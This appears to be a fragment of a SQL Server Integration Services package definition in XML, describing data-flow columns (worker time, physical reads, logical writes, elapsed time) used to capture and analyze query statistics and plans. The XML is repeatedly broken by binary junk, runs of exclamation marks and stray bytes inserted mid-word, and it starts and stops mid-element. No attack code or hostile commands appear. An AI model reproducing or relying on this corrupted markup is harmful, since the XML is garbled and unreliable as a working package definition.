<%THv this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top Plan Handle]}</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries" componentClassID="{091D6F37-D6A2-4922-B6F1-B6E4F3FF08E3}" name="TPQ - Analyze Interesting Queries" version="1"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input]" name="TxTopQueries Only Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[snapshot_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_generation_num]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[execution_count]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine l	!!!!!!!!!!!!!!!!!!!!!!!!`<)3Hvast and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload B	!!!!!!!!!!!!!!!!!!!!!!!!`<-YGHvatch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[max_logical_writes]" cachedDataType="i8" cachedName="max_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[max_logical_reads]" cachedDataType="i8" cachedName="max_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\	!!!!!!!!!!!!!!!!!!!!!!!!`
=BHvUNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_elapsed_time]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output]" name="TxTopQueries Only Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top Reason]" dataType="wstr" length="128" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top Reason]" name="Top Reason"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top SQL Handle]" dataType="bytes" length="44" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top SQL Handle]" name="Top SQL Handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top Plan Handle]" dataType="bytes" length="44" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Output].Columns[Top Plan Handle]" name="Top Plan Handle"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats" componentClassID="{B594E9A8-4351-4939-891C-CFE1AB93E925}" contactInfo="Union All;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Merges multiple datasets." name="UNION - Combine interesting requests and interesting stats" version="1"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1]" name="Union All Input 1"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Crea	!!!!!!!!!!!!!!!!!!!!!!!!`=~Hvte Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[old_total_worker_time]" cachedDataType="i8" cachedName="old_total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[old_total_physical_reads]" cachedDataType="i8" cachedName="old_total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[old_total_logical_writes]" cachedDataType="i8" cachedName="old_total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[old_total_logical_reads]" cachedDataType="i8" cachedName="old_total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[old_total_c	!!!!!!!!!!!!!!!!!!!!!!!!`=	hHvlr_time]" cachedDataType="i8" cachedName="old_total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[old_total_elapsed_time]" cachedDataType="i8" cachedName="old_total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[statement_start_offset]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_start_offset]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[statement_end_offset]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_end_offset]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" lineageId="Package\SEQ - Capture and analyze query statistics and q	!!!!!!!!!!!!!!!!!!!!!!!!`=JjߊHvuery plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[creation_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[creation_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" cachedSortKeyPosition="5" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[plan_generation_num]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_generation_num]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[last_execution_time]" cachedDataType="dbTimeStamp" cachedName="last_execution_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[last_execution_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[last_execution_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[execution_count]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]"><properties><property containsID="	!!!!!!!!!!!!!!!!!!!!!!!!`=Js$Hvtrue" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Uploa	!!!!!!!!!!!!!!!!!!!!!!!!`=JHvd Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan a	!!!!!!!!!!!!!!!!!!!!!!!!`=JkVԓHvnd text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries 